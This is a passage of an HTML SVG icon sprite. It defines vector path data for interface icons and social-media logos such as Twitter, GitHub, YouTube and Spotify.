1.83 0.438h-0.036q-0.857 0-1.83-0.438t-1.545-0.866-1.482-1.196q-2.821-2.357-7.607-6.036-0.661-0.536-1.232-1.179v13.714q0 0.232 0.17
0.402t0.402 0.17h26.286q0.232 0 0.402-0.17t0.17-0.402zM29.714 8.089v-0.438t-0.009-0.232-0.054-0.223-0.098-0.161-0.161-0.134-0.25-
```

0.045h-26.286q-0.232 0-0.402 0.17t-0.17 0.402q0 3 2.625 5.071 3.446 2.714 7.161 5.661 0.107 0.089 0.625 0.527t0.821 0.67 0.795 0.563 0.902 0.491 0.768 0.161h0.036q0.357 0 0.768-0.161t0.902-0.491 0.795-0.563 0.821-0.67 0.625-0.527q3.714-2.946 7.161-5.661 0.964-0.768 1.795-2.063t0.83-2.348zM32 7.429v19.429q0 1.179-0.839 2.018t-2.018 0.839h-26.286q-1.179 0-2.018-0.839t-0.839-2.018v-19.429q0-1.179 0.839-2.018t2.018-0.839h26.286q1.179 0 2.018 0.839t0.839 2.018z"></path>
</symbol>
<symbol id="icon-close" viewBox="0 0 25 32">
<path class="path1" d="M23.179 23.607q0 0.714-0.5 1.214l-2.429 2.429q-0.5 0.5-1.214 0.5t-1.214-0.5l-5.25-5.25-5.25 5.25q-0.5 0.5-1.214 0.5t-1.214-0.5l-2.429-2.429q-0.5-0.5-0.5-1.214t0.5-1.214l5.25-5.25-5.25-5.25q-0.5-0.5-0.5-1.214t0.5-1.214l2.429-2.429q0.5-0.5 1.214-0.5t1.214 0.5l5.25 5.25 5.25-5.25q0.5-0.5 1.214-0.5t1.214 0.5l2.429 2.429q0.5 0.5 0.5 1.214t-0.5 1.214l-5.25 5.25 5.25 5.25q0.5 0.5 0.5 1.214z"></path>
</symbol>
<symbol id="icon-angle-down" viewBox="0 0 21 32">
<path class="path1" d="M19.196 13.143q0 0.232-0.179 0.411l-8.321 8.321q-0.179 0.179-0.411 0.179t-0.411-0.179l-8.321-8.321q-0.179-0.179-0.179-0.411t0.179-0.411l0.893-0.893q0.179-0.179 0.411-0.179t0.411 0.179l7.018 7.018 7.018-7.018q0.179-0.179 0.411-0.179t0.411 0.179l0.893 0.893q0.179 0.179 0.179 0.411z"></path>
</symbol>
<symbol id="icon-folder-open" viewBox="0 0 34 32">
<path class="path1" d="M33.554 17q0 0.554-0.554 1.179l-6 7.071q-0.768 0.911-2.152 1.545t-2.563 0.634h-19.429q-0.607 0-1.080-0.232t-0.473-0.768q0-0.554 0.554-1.179l6-7.071q0.768-0.911 2.152-1.545t2.563-0.634h19.429q0.607 0 1.080 0.232t0.473 0.768zM27.429 10.857v2.857h-14.857q-1.679 0-3.518 0.848t-2.929 2.134l-6.107 7.179q-0.071-0.071-0.009-0.223t-0.009-0.223v-17.143q0-1.643 1.179-2.821t2.821-1.179h5.714q1.643 0 2.821 1.179t1.179 2.821v0.571h9.714q1.643 0 2.821 1.179t1.179 2.821z"></path>
</symbol>
<symbol id="icon-twitter" viewBox="0 0 30 32">
<path class="path1" d="M28.929 7.286q-1.196 1.75-2.893 2.982 0.018 0.25 0.018 0.75 0 2.321-0.679 4.634t-2.063 4.437-3.295 3.759-4.607 2.607-5.768 0.973q-4.839 0-8.857-2.589 0.625 0.071 1.393 0.071 4.018 0 7.161-2.464-1.875-0.036-3.357-1.152t-2.036-2.848q0.589 0.089 1.089 0.089 0.768 0 1.518-0.196-2-0.411-3.313-1.991t-1.313-3.67v-0.071q1.214 0.679 2.607 0.732-1.179-0.786-1.875-2.054t-0.696-2.75q0-1.571 0.786-2.911 2.161 2.661 5.259 4.259t6.634 1.777q-0.143-0.679-0.143-1.321 0-2.393 1.688-4.080t4.080-1.688q2.5 0 4.214 1.821 1.946-0.375 3.661-1.393-0.661 2.054-2.536 3.179 1.661-0.179 3.321-0.893z"></path>
</symbol>
<symbol id="icon-facebook" viewBox="0 0 19 32">
<path class="path1" d="M17.125 0.214v4.714h-2.804q-1.536 0-2.071 0.643t-0.536 1.929v3.375h5.232l-0.696 5.286h-4.536v13.554h-5.464v-13.554h-4.554v-5.286h4.554v-3.893q0-3.321 1.857-5.152t4.946-1.83q2.625 0 4.071 0.214z"></path>
</symbol>
<symbol id="icon-github" viewBox="0 0 27 32">
<path class="path1" d="M13.714 2.286q3.732 0 6.884 1.839t4.991 4.991 1.839 6.884q0 4.482-2.616 8.063t-6.759 4.955q-0.482 0.089-0.714-0.125t-0.232-0.536q0-0.054 0.009-1.366t0.009-2.402q0-1.732-0.929-2.536 1.018-0.107 1.83-0.321t1.679-0.696 1.446-1.188 0.946-1.875 0.366-2.688q0-2.125-1.411-3.679 0.661-1.625-0.143-3.643-0.5-0.161-1.446 0.196t-1.643 0.786l-0.679 0.429q-1.661-0.464-3.429-0.464t-3.429 0.464q-0.286-0.196-0.759-0.482t-1.491-0.688-1.518-0.241q-0.804 2.018-0.143 3.643-1.411 1.554-1.411 3.679 0 1.518 0.366 2.679t0.938 1.875 1.438 1.196 1.679 0.696 1.83 0.321q-0.696 0.643-0.875 1.839-0.375 0.179-0.804 0.268t-1.018 0.089-1.17-0.384-0.991-1.116q-0.339-0.571-0.866-0.929t-0.884-0.429l-0.357-0.054q-0.375 0-0.518 0.080t-0.089 0.205 0.161 0.25 0.232 0.214l0.125 0.089q0.393 0.179 0.777 0.679t0.563 0.911l0.179 0.411q0.232 0.679 0.786 1.098t1.196 0.536 1.241 0.125q0.991-0.063l0.411-0.071q0 0.679 0.009 1.58t0.009 0.973q0 0.321-0.232 0.536t-0.714 0.125q-4.143-1.375-6.759-4.955t-2.616-8.063q0-3.732 1.839-6.884t4.991-4.991 6.884-1.839zM5.196 21.982q0.054-0.125-0.125-0.214-0.179-0.054-0.232 0.036-0.054 0.125 0.125 0.214 0.161 0.107 0.232-0.036zM5.75 22.589q0.125-0.089-0.036-0.286-0.179-0.161-0.286-0.054-0.125 0.089 0.036 0.286 0.179 0.179 0.286 0.054zM6.286 23.393q0.161-0.125 0-0.339-0.143-0.232-0.304-0.107-0.161 0.089 0 0.321t0.304 0.125zM7.036 24.143q0.143-0.143-0.071-0.339-0.214-0.214-0.357-0.054-0.161 0.143 0.071 0.339 0.214 0.214 0.357 0.054zM8.054 24.589q0.054-0.196-0.232-0.286-0.268-0.071-0.339 0.125t0.232 0.268q0.268 0.107 0.339-0.107zM9.179 24.679q0-0.232-0.304-0.196-0.286 0-0.286 0.196 0 0.232 0.304 0.196 0.286 0 0.286-0.196zM10.214 24.5q-0.036-0.196-0.321-0.161-0.286 0.054-0.25 0.268t0.321 0.143 0.25-0.25z"></path>
</symbol>
<symbol id="icon-bars" viewBox="0 0 27 32">
<path class="path1" d="M27.429 24v2.286q0 0.464-0.339 0.804t-0.804 0.339h-25.143q-0.464 0-0.804-0.339t-0.339-0.804v-2.286q0-0.464 0.339-0.804t0.804-0.339h25.143q0.464 0 0.804 0.339t0.339 0.804zM27.429 14.857v2.286q0 0.464-0.339 0.804t-0.804 0.339h-25.143q-0.464 0-0.804-0.339t-0.339-0.804v-2.286q0-0.464 0.339-0.804t0.804-0.339h25.143q0.464 0 0.804 0.339t0.339 0.804zM27.429 5.714v2.286q0 0.464-0.339 0.804t-0.804 0.339h-25.143q-0.464 0-0.804-0.339t-0.339-0.804v-2.286q0-0.464 0.339-0.804t0.804-0.339h25.143q0.464 0 0.804 0.339t0.339 0.804z"></path>
</symbol>
<symbol id="icon-google-plus" viewBox="0 0 41 32">
<path class="path1" d="M25.661 16.304q0 3.714-1.554 6.616t-4.429 4.536-6.589 1.634q-2.661 0-5.089-1.036t-4.179-2.786-2.786-4.179-1.036-5.089 1.036-5.089 2.786-4.179 4.179-2.786 5.089-1.036q5.107 0 8.768 3.429l-3.554 3.411q-2.089-2.018-5.214-2.018-2.196 0-4.063 1.107t-2.955 3.009-1.089 4.152 1.089 4.152 2.955 3.009 4.063 1.107q1.482 0 2.723-0.411t2.045-1.027 1.402-1.402 0.875-1.482 0.384-1.321h-7.429v-4.5h12.357q0.214 1.125 0.214 2.179zM41.143 14.125v3.75h-3.732v3.732h-3.75v-3.732h-3.732v-3.75h3.732v-3.732h3.75v3.732h3.732z"></path>
</symbol>
<symbol id="icon-linkedin" viewBox="0 0 27 32">
<path class="path1" d="M6.232 11.161v17.696h-5.893v-17.696h5.893zM6.607 5.696q0.018 1.304-0.902 2.179t-2.42 0.875h-0.036q-1.464 0-2.357-0.875t-0.893-2.179q0-1.321 0.92-2.188t2.402-0.866 2.375 0.866 0.911 2.188zM27.429 18.714v10.143h-5.875v-9.464q0-1.875-0.723-2.938t-2.259-1.063q-1.125 0-1.884 0.616t-1.134 1.527q-0.196 0.536-0.196 1.446v9.875h-5.875q0.036-7.125 0.036-11.554t-0.018-5.286l-0.018-0.857h5.875v2.571h-0.036q0.357-0.571 0.732-1t1.009-0.929 1.554-0.777 2.045-0.277q3.054 0 4.911 2.027t1.857 5.938z"></path>
</symbol>
<symbol id="icon-quote-right" viewBox="0 0 30 32">
<path class="path1" d="M13.714 5.714v12.571q0 1.857-0.723 3.545t-1.955 2.92-2.92 1.955-3.545 0.723h-1.143q-0.464 0-0.804-0.339t-0.339-0.804v-2.286q0-0.464 0.339-0.804t0.804-0.339h1.143q1.893 0 3.232-1.339t1.339-3.232v-0.571q0-0.714-0.5-1.214t-1.214-0.5h-4q-1.429 0-2.429-1t-1-2.429v-6.857q0-1.429 1-2.429t2.429-1h6.857q1.429 0 2.429 1t1 2.429zM29.714 5.714v12.571q0 1.857-0.723 3.545t-1.955 2.92-2.92 1.955-3.545 0.723h-1.143q-0.464 0-0.804-0.339t-0.339-0.804v-2.286q0-0.464 0.339-0.804t0.804-0.339h1.143q1.893 0 3.232-1.339t1.339-3.232v-0.571q0-0.714-0.5-1.214t-1.214-0.5h-4q-1.429 0-2.429-1t-1-2.429v-6.857q0-1.429 1-2.429t2.429-1h6.857q1.429 0 2.429 1t1 2.429z"></path>
</symbol>
<symbol id="icon-mail-reply" viewBox="0 0 32 32">
<path class="path1" d="M32 20q0 2.964-2.268 8.054-0.054 0.125-0.188 0.429t-0.241 0.536-0.232 0.393q-0.214 0.304-0.5 0.304-0.268 0-0.42-0.179t-0.152-0.446q0-0.161 0.045-0.473t0.045-0.42q0.089-1.214 0.089-2.196 0-1.804-0.313-3.232t-0.866-2.473-1.429-1.804-1.884-1.241-2.375-0.759-2.75-0.384-3.134-0.107h-4v4.571q0 0.464-0.339 0.804t-0.804 0.339-0.804-0.339l-9.143-9.143q-0.339-0.339-0.339-0.804t0.339-0.804l9.143-9.143q0.339-0.339 0.804-0.339t0.804 0.339 0.339 0.804v4.571h4q12.732 0 15.625 7.196 0.946 2.393 0.946 5.946z"></path>
</symbol>
<symbol id="icon-youtube" viewBox="0 0 27 32">
<path class="path1" d="M17.339 22.214v3.768q0 1.196-0.696 1.196-0.411 0-0.804-0.393v-5.375q0.393-0.393 0.804-0.393 0.696 0 0.696 1.196zM23.375 22.232v0.821h-1.607v-0.821q0-1.214 0.804-1.214t0.804 1.214zM6.125 18.339h1.911v-1.679h-5.571v1.679h1.875v10.161h1.786v-10.161zM11.268 28.5h1.589v-8.821h-1.589v6.75q-0.536 0.75-1.018 0.75-0.321 0-0.375-0.375-0.018-0.054-0.018-0.625v-6.5h-1.589v6.982q0 0.875 0.143 1.304 0.214 0.661 1.036 0.661 0.857 0 1.821-1.089v0.964zM18.929 25.857v-3.518q0-1.304-0.161-1.768-0.304-1-1.268-1-0.893 0-1.661 0.964v-3.875h-1.589v11.839h1.589v-0.857q0.804 0.982 1.661 0.982 0.964 0 1.268-0.982 0.161-0.482 0.161-1.786zM24.964 25.679v-0.232h-1.625q0 0.911-0.036 1.089-0.125 0.643-0.714 0.643-0.821 0-0.821-1.232v-1.554h3.196v-1.839q0-1.411-0.482-2.071-0.696-0.911-1.893-0.911-1.214 0-1.911 0.911-0.5 0.661-0.5 2.071v3.089q0 1.411 0.518 2.071 0.696 0.911 1.929 0.911 1.286 0 1.929-0.946 0.321-0.482 0.375-0.964 0.036-0.161 0.036-1.036zM14.107 9.375v-3.75q0-1.232-0.768-1.232t-0.768 1.232v3.75q0 1.25 0.768 1.25t0.768-1.25zM26.946 22.786q0 4.179-0.464 6.25-0.25 1.054-1.036 1.768t-1.821 0.821q-3.286 0.375-9.911 0.375t-9.911-0.375q-1.036-0.107-1.83-0.821t-1.027-1.768q-0.464-2-0.464-6.25 0-4.179 0.464-6.25 0.25-1.054 1.036-1.768t1.839-0.839q3.268-0.357 9.893-0.357t9.911 0.357q1.036 0.125 1.83 0.839t1.027 1.768q0.464 2 0.464 6.25zM9.125 0h1.821l-2.161 7.125v4.839h-1.786v-4.839q-0.25-1.321-1.089-3.786-0.661-1.839-1.161-3.339h1.893l1.268 4.696zM15.732 5.946v3.125q0 1.446-0.5 2.107-0.661 0.911-1.893 0.911-1.875-0.911-0.5-0.679-0.5-2.107v-3.125q0-1.429 0.5-2.089 0.679-0.911 1.875-0.911 1.232 0 1.893 0.911 0.5 0.661 0.5 2.089zM21.714 3.054v8.911h-1.625v-0.982q-0.946 1.107-1.839 1.107-1.821 0-0.821-1.054-0.661-0.143-0.429-0.143-1.339v-

7.036h1.625v6.554q0 0.589 0.018 0.625 0.054 0.393 0.375 0.393 0.482 0 1.018-0.768v-6.804h1.625z"></path>
</symbol>
<symbol id="icon-dropbox" viewBox="0 0 32 32">
<path class="path1" d="M7.179 12.625l8.821 5.446-6.107 5.089-8.75-5.696zM24.786 22.536v1.929l-8.75 5.232v0.018l-0.018-0.018-0.018 0.018v-0.018l-8.732-5.232v-1.929l2.625 1.714 6.107-5.071v-0.036l0.018 0.018 0.018-0.018v0.036l6.125 5.071zM9.893 2.107l6.107 5.089-8.821 5.429-6.036-4.821zM24.821 12.625l6.036 4.839-8.732 5.696-6.125-5.089zM22.125 2.107l8.732 5.696-6.036 4.821-8.821-5.429z">
</path>
</symbol>
<symbol id="icon-instagram" viewBox="0 0 27 32">
<path class="path1" d="M18.286 16q0-1.893-1.339-3.232t-3.232-1.339-3.232 1.339-1.339 3.232 1.339 3.232 3.232 1.339 3.232-1.339 1.339-3.232zM20.75 16q0 2.929-2.054 4.982t-4.982 2.054-4.982-2.054-2.054-4.982 2.054-4.982 4.982-2.054 4.982 2.054 2.054 4.982zM22.679 8.679q0 0.679-0.482 1.161t-1.161 0.482-1.161-0.482-0.482-1.161 0.482-1.161 1.161-0.482 1.161 0.482 0.482 1.161zM13.714 4.75q-0.125 0-1.366-0.009t-1.884 0-1.723 0.054-1.839 0.179-1.277 0.33q-0.893 0.357-1.571 1.036t-1.036 1.571q-0.196 0.518-0.33 1.277t-0.179 1.839-0.054 1.723 0 1.884 0.009 1.366-0.009 1.366 0 1.884 0.054 1.723 0.179 1.839 0.33 1.277q0.357 0.893 1.036 1.571t1.571 1.036q0.518 0.196 1.277 0.33t1.839 0.179 1.723 0.054 1.884 0 1.366-0.009zM27.429 16q0 4.089-0.089 5.661-0.179 3.714-2.214 5.75t-5.75 2.214q-1.571 0.089-5.661 0.089t-5.661-0.089q-3.714-0.179-5.75-2.214t-2.214-5.75q-0.089-1.571-0.089-5.661t0.089-5.661q0.179-3.714 2.214-5.75t5.75-2.214q1.571-0.089 5.661-0.089t5.661 0.089q3.714 0.179 5.75 2.214t2.214 5.75q0.089 1.571 0.089 5.661z"></path>
</symbol>
<symbol id="icon-flickr" viewBox="0 0 27 32">
<path class="path1" d="M22.286 2.286q2.125 0 3.634 1.509t1.509 3.634v17.143q0 2.125-1.509 3.634t-3.634 1.509h-17.143q-2.125 0-3.634-1.509t-1.509-3.634v-17.143q0-2.125 1.509-3.634t3.634-1.509h17.143zM12.464 16q0-1.571-1.107-2.679t-2.679-1.107-2.679 1.107-1.107 2.679 1.107 2.679 2.679 1.107 2.679-1.107 1.107-2.679zM22.536 16q0-1.571-1.107-2.679t-2.679-1.107-2.679 1.107-1.107 2.679 1.107 2.679 2.679 1.107 2.679-1.107 1.107-2.679z"></path>
</symbol>
<symbol id="icon-tumblr" viewBox="0 0 19 32">
<path class="path1" d="M16.857 23.732l1.429 4.232q-0.411 0.625-1.982 1.179t-3.161 0.571q-1.857 0.036-3.402-0.464t-2.545-1.321-1.696-1.893-0.991-2.143-0.295-2.107v-9.714h-3v-3.839q1.286-0.464 2.304-1.241t1.625-1.607 1.036-1.821 0.607-1.768 0.268-1.58q0.018-0.089 0.080-0.152t0.134-0.063h4.357v7.571h5.946v4.5h-5.964v9.25q0 0.536 0.116 1t0.402 0.938 0.884 0.741 1.455 0.25q1.393-0.036 2.393-0.518z"></path>
</symbol>
<symbol id="icon-dockerhub" viewBox="0 0 24 28">
<path class="path1" d="M1.597 10.257h2.911v2.83H1.597v-2.83zm3.573 0h2.91v2.83H5.17v-2.83zm0-3.627h2.91v2.829H5.17V6.63zm3.57 3.627h2.912v2.83H8.74v-2.83zm0-3.627h2.912v2.829H8.74V6.63zm0-3.627h2.912v2.829H8.74V3.003zm3.572 14.173c-.449 0-.812.354-.812.788 0 .435.364.788.812.788.447 0 .811-.353.811-.788 0-.434-.363-.788-.811-.788"></path>
<path class="path2" d="M28.172 11.721c-.978-.549-2.278-.624-3.388-.306-.136-1.146-.91-2.149-1.83-2.869l-.366-.286-.307.345c-.618.692-.8 1.845-.718 2.73.063.651.273 1.312.685 1.834-.313.183-.668.328-.985.434-.646.212-1.347.33-2.028.33H.083l-.042.429c-.137 1.432.065 2.866.674 4.173l.262.519.03.048c1.8 2.973 4.963 4.225 8.41 4.225 6.672 0 12.174-2.896 14.702-9.015 1.689.085 3.417-.4 4.243-1.968l.211-.4-.401-.223zM5.664 19.458c-.85 0-1.542-.671-1.542-1.497 0-.825.691-1.498 1.541-1.498.849 0 1.54.672 1.54 1.497s-.69 1.498-1.539 1.498z"></path>
</symbol>
<symbol id="icon-dribbble" viewBox="0 0 27 32">
<path class="path1" d="M18.286 26.786q-0.75-4.304-2.5-8.893h-0.036l-0.036 0.018q-0.286 0.107-0.768 0.295t-1.804 0.875-2.446 1.464-2.339 2.045-1.839 2.643l-0.268-0.196q3.286 2.679 7.464 2.679 2.357 0 4.571-0.929zM14.982 15.946q-0.375-0.875-0.946-1.982-5.554 1.661-12.018 1.661-0.018 0.125-0.018 0.375 0 2.214 0.786 4.223t2.214 3.598q0.893-1.589 2.205-2.973t2.545-2.223 2.33-1.446 1.777-0.857l0.661-0.232q0.071-0.018 0.232-0.063t0.232-0.080zM13.071 12.161q-2.143-3.804-4.357-6.75-2.464 1.161-4.179 3.321t-2.286 4.857q5.393 0 10.821-1.429zM25.286 17.857q-3.75-1.071-7.304-0.518 1.554 4.268 2.286 8.375 1.982-1.339 3.304-3.384t1.714-4.473zM10.911 4.625q-0.018 0-0.036 0.018 0.018-0.018 0.036-0.018zM21.446 7.214q-3.304-2.929-7.732-2.929-1.357 0-2.768 0.339 2.339 3.036 4.393 6.821 1.232-0.464 2.321-1.080t1.723-1.098 1.17-1.018 0.67-0.723zM25.429 15.875q-0.054-4.143-2.661-7.321l-0.018 0.018q-0.161 0.214-0.339 0.438t-0.777 0.795-1.268 1.080-1.786 1.161-2.348 1.152q0.446 0.946 0.786 1.696 0.036 0.107 0.116 0.313t0.134 0.295q0.643-0.089 1.33-0.125t1.313-0.036 1.232 0.027 1.143 0.071 1.009 0.098 0.857 0.116 0.652 0.107 0.446 0.080zM27.429 16q0 3.732-1.839 6.884t-4.991 4.991-6.884 1.839-6.884-1.839-4.991-4.991-1.839-6.884 1.839-6.884 4.991-4.991 6.884-1.839 6.884 1.839 4.991 4.991 1.839 6.884z"></path>
</symbol>
<symbol id="icon-skype" viewBox="0 0 27 32">
<path class="path1" d="M20.946 18.982q0-0.893-0.348-1.634t-0.866-1.223-1.304-0.875-1.473-0.607-1.563-0.411l-1.857-0.429q-0.536-0.125-0.786-0.188t-0.625-0.205-0.536-0.286-0.295-0.375-0.134-0.536q0-1.375 2.571-1.375 0.768 0 1.375 0.214t0.964 0.509 0.679 0.598 0.714 0.518 0.857 0.214q0.839 0 1.348-0.571t0.509-1.375q0-0.982-1-1.777t-2.536-1.205-3.25-0.411q-1.214 0-2.357 0.277t-2.134 0.839-1.589 1.554-0.598 2.295q0 1.089 0.339 1.902t1 1.348 1.429 0.866 1.839 0.582l2.607 0.643q1.607 0.393 2 0.643 0.571 0.357 0.571 1.071 0 0.696-0.714 1.152t-1.875 0.455q-0.911 0-1.634-0.286t-1.161-0.688-0.813-0.804-0.821-0.688-0.964-0.286q-0.893 0-1.348 0.536t-0.455 1.339q0 1.643 2.179 2.813t5.196 1.17q1.304 0 2.5-0.33t2.188-0.955 1.58-1.67 0.589-2.348zM27.429 22.857q0 2.839-2.009 4.848t-4.848 2.009q-2.321 0-4.179-1.429-1.375 0.286-2.679 0.286-2.554 0-4.884-0.991t-4.018-2.679-2.679-4.018-0.991-4.884q0-1.304 0.286-2.679-1.429-1.857-1.429-4.179 0-2.839 2.009-4.848t4.848-2.009q2.321 0 4.179 1.429 1.375-0.286 2.679-0.286 2.554 0 4.884 0.991t4.018 2.679 2.679 4.018 0.991 4.884q0 1.304-0.286 2.679 1.429 1.857 1.429 4.179z"></path>
</symbol>
<symbol id="icon-foursquare" viewBox="0 0 23 32">
<path class="path1" d="M17.857 7.75l0.661-3.464q0.089-0.411-0.161-0.714t-0.625-0.304h-12.714q-0.411 0-0.688 0.304t-0.277 0.661v19.661q0 0.125 0.107 0.018l5.196-6.286q0.411-0.464 0.679-0.598t0.857-0.134h4.268q0.393 0 0.661-0.259t0.321-0.527q0.429-2.321 0.661-3.411 0.071-0.375-0.205-0.714t-0.652-0.339h-5.25q-0.518 0-0.857-0.339t-0.339-0.857v-0.75q0-0.518 0.339-0.848t0.857-0.33h6.179q0.321 0 0.625-0.241t0.357-0.527zM21.911 3.786q-0.268 1.304-0.955 4.759t-1.241 6.25-0.625 3.098q-0.107 0.393-0.161 0.607t-0.143 0.161-0.607 8.821-0.393 0.446-1.045 0.509t-0.866-0.098q-0.982-0.393-0.982-1.75v-25.179q0-0.982 0.679-1.83t2.143-0.848h15.857q1.696 0 2.268 0.946t0.179 2.839zM21.911 3.786l-2.821 14.107q0.071-0.304 0.625-3.098t1.241-6.25 0.955-4.759z"></path>
</symbol>
<symbol id="icon-wordpress" viewBox="0 0 32 32">
<path class="path1" d="M2.268 16q0-2.911 1.196-5.589l6.554 17.946q-3.5-1.696-5.625-5.018t-2.125-7.339zM25.268 15.304q0 0.339-0.045 0.688t-0.179 0.884-0.205 0.786-0.313 1.054-0.313 1.036l-1.357 4.571-4.964-14.75q0.821-0.054 1.571-0.143 0.339-0.036 0.464-0.33t-0.045-0.554-0.509-0.241l-3.661 0.179q-1.339-0.018-3.607-0.179-0.214-0.018-0.366 0.089t-0.205 0.268-0.027 0.33 0.161 0.295 0.348 0.143l1.429 0.143 2.143 5.857-3 9-5-14.857q0.821-0.054 1.571-0.143 0.339-0.036 0.464-0.33t-0.045-0.554-0.509-0.241l-3.661 0.179q-0.125 0-0.411-0.009t-0.464-0.009q1.875-2.857 4.902-4.527t6.563-1.67q2.625 0 5.009 0.946t4.259 2.661h-0.179q-0.982 0-1.643 0.723t-0.661 1.705q0 0.214 0.036 0.429t0.071 0.384 0.143 0.411 0.161 0.375 0.214 0.402 0.223 0.375 0.259 0.429 0.25 0.411q1.125 1.911 1.125 3.786zM16.232 17.196l4.232 11.554q0.018 0.107 0.089 0.196-2.25 0.786-4.554 0.786-2 0-3.875-0.571zM28.036 9.411q1.696 3.107 1.696 6.589 0 3.732-1.857 6.884t-4.982 4.973l4.196-12.107q1.054-3.018 1.054-4.929 0-0.75-0.107-1.411zM16 0q3.25 0 6.214 1.268t5.107 3.411 3.411 5.107 1.268 6.214-1.268 6.214-3.411 5.107-5.107 3.411-6.214 1.268-6.214-1.268-5.107-3.411-3.411-5.107-1.268-6.214 1.268-6.214 3.411-5.107 5.107-3.411 6.214-1.268zM16 31.268q3.089 0 5.92-1.214t4.875-3.259 3.259-4.875 1.214-5.92-1.214-5.92-3.259-4.875-4.875-3.259-5.92-1.214-5.92 1.214-4.875 3.259-3.259 4.875-1.214 5.92 1.214 5.92 3.259 4.875 4.875 3.259 5.92 1.214z"></path>
</symbol>
<symbol id="icon-stumbleupon" viewBox="0 0 34 32">
<path class="path1" d="M18.964 12.714v-2.107q0-0.75-0.536-1.286t-1.286-0.536-1.286 0.536-0.536 1.286v10.929q0 3.125-2.25 5.339t-5.411 2.214q-3.179 0-5.42-2.241t-2.241-5.42v-4.75h5.857v4.679q0 0.768 0.536 1.295t1.286 0.527 1.286-0.527 0.536-1.295v-11.071q0-3.054 2.259-5.214t5.384-2.161q3.143 0 5.393 2.179t2.25 5.25v2.429l-3.482 1.036zM28.429 16.679h5.857v4.75q0 3.179-2.241 5.42t-5.42 2.241q-3.161 0-5.411-2.223t-2.25-5.366v-4.786l2.339 1.089 3.482-1.036v4.821q0 0.75 0.536 1.277t1.286 0.527 1.286-0.527 0.536-1.277v-4.911z"></path>
</symbol>
<symbol id="icon-digg" viewBox="0 0 37 32">
<path class="path1" d="M5.857 5.036h3.643v17.554h-9.5v-12.446h5.857v-5.107zM5.857 19.661v-6.589h-2.196v6.589h2.196zM10.964

10.143v12.446h3.661v-12.446h-3.661zM10.964 5.036v3.643h3.661v-3.643h-3.661zM16.089 10.143h9.518v16.821h-9.518v-2.911h5.857v-1.464h-5.857v-12.446zM21.946 19.661v-6.589h-2.196v6.589h2.196zM27.071 10.143h9.5v16.821h-9.5v-2.911h5.839v-1.464h-5.839v-12.446zM32.911 19.661v-6.589h-2.196v6.589h2.196z"></path>
</symbol>
<symbol id="icon-spotify" viewBox="0 0 27 32">
<path class="path1" d="M20.125 21.607q0-0.571-0.536-0.911-3.446-2.054-7.982-2.054-2.375 0-5.125 0.607-0.75 0.161-0.75 0.929 0 0.357 0.241 0.616t0.634 0.259q0.089 0 0.661-0.143 2.357-0.482 4.339-0.482 4.036 0 7.089 1.839 0.339 0.196 0.589 0.196 0.339 0 0.589-0.241t0.25-0.616zM21.839 17.768q0-0.714-0.625-1.089-4.232-2.518-9.786-2.518-2.732 0-5.411 0.75-0.857 0.232-0.857 1.143 0 0.446 0.313 0.759t0.759 0.313q0.125 0 0.661-0.143 2.179-0.589 4.482-0.589 4.982 0 8.714 2.214 0.429 0.232 0.679 0.232 0.446 0 0.759-0.313t0.313-0.759zM23.768 13.339q0-0.839-0.714-1.25-2.25-1.304-5.232-1.973t-6.125-0.67q-3.643 0-6.5 0.839-0.411 0.125-0.688 0.455t-0.277 0.866q0 0.554 0.366 0.929t0.92 0.375q0.196 0 0.714-0.143 2.375-0.661 5.482-0.661 2.839 0 5.527 0.607t4.527 1.696q0.375 0.214 0.714 0.214 0.518 0 0.902-0.366t0.384-0.92zM27.429 16q0 3.732-1.839 6.884t-4.991 4.991-6.884 1.839-6.884-1.839-4.991-4.991-1.839-6.884 1.839-6.884 4.991-4.991 6.884-1.839 6.884 1.839 4.991 4.991 1.839 6.884z"></path>
</symbol>
<symbol id="icon-soundcloud" viewBox="0 0 41 32">
<path class="path1" d="M14 24.5l0.286-4.304-0.286-9.339q-0.018-0.179-0.134-0.304t-0.295-0.125q-0.161 0-0.286 0.125t-0.125 0.304l-0.25 9.339 0.25 4.304q0.018 0.179 0.134 0.295t0.277 0.116q0.393 0 0.429-0.411zM19.286 23.982l0.196-3.768-0.214-10.464q0-0.286-0.232-0.429-0.143-0.089-0.286-0.089t-0.286 0.089q-0.232 0.143-0.232 0.429l-0.018 0.107-0.179 10.339q0 0.018 0.196 4.214v0.018q0 0.179 0.107 0.304 0.161 0.196 0.411 0.196 0.196 0 0.357-0.161 0.161-0.125 0.161-0.357zM0.625 17.911l0.357 2.286-0.357 2.25q-0.036 0.161-0.161 0.161t-0.161-0.161l-0.304-2.25 0.304-2.286q0.036-0.161 0.161-0.161t0.161 0.161zM2.161 16.5l0.464 3.696-0.464 3.625q-0.036 0.161-0.179 0.161-0.161 0-0.161-0.179l-0.411-3.607 0.411-3.696q0-0.161 0.161-0.161 0.161 0.143 0 0.179 0.161zM3.804 15.821l0.446 4.375-0.446 4.232q0 0.196-0.196 0.196-0.179 0-0.214-0.196l-0.375-4.232 0.375-4.375q0.036-0.214 0.214-0.214 0.196 0 0.196 0.214zM5.482 15.696l0.411 4.5-0.411 4.357q-0.036 0.232-0.25 0.232-0.232 0-0.232-0.232l-0.232-0.232-0.214 0 0.25 0.232zM7.161 16.018l0.375 4.179-0.375 4.393q-0.036 0.286-0.286 0.286-0.107 0-0.188-0.080t-0.080-0.205l-0.357-4.393 0.357-4.179q0-0.107 0.080-0.188t0.188-0.080q0.25 0 0.286 0.268zM8.839 13.411l0.375 6.786-0.375 4.393q0 0.125-0.089 0.223t-0.518 0.339 8.357-0.339 4.357q0 0.143-0.098 0.241t-0.241 0.098q-0.321 0-0.357-0.339l-0.286-4.357 0.286-8.357q0.036-0.339 0.357-0.339 0.143 0 0.241 0.098t0.098 0.241zM12.268 11.161l0.321 9.036-0.321 4.321q-0.036 0.375-0.393 0.375-0.339 0-0.375-0.375l-0.286-4.321 0.286-9.036q0-0.161 0.116-0.277t0.259-0.116q0.161 0 0.268 0.116t0.125 0.277zM19.268 24.411v0 0zM15.732 11.089l0.268 9.107-0.268 4.268q0 0.179-0.134 0.313t-0.313 0.134-0.304-0.125-0.143-0.321l-0.25-4.268 0.25-9.107q0-0.196 0.134-0.321t0.313-0.125 0.313 0.125 0.134 0.321zM17.5 11.429l0.25 8.786-0.25 4.214q0 0.196-0.143 0.339t-0.339 0.143-0.339-0.143-0.161-0.339l-0.214-4.214 0.214-8.786q0.018-0.214 0.161-0.357t0.339-0.143 0.33 0.143 0.152 0.357zM21.286 20.214l-0.25 4.125q0 0.232-0.161 0.393t-0.393 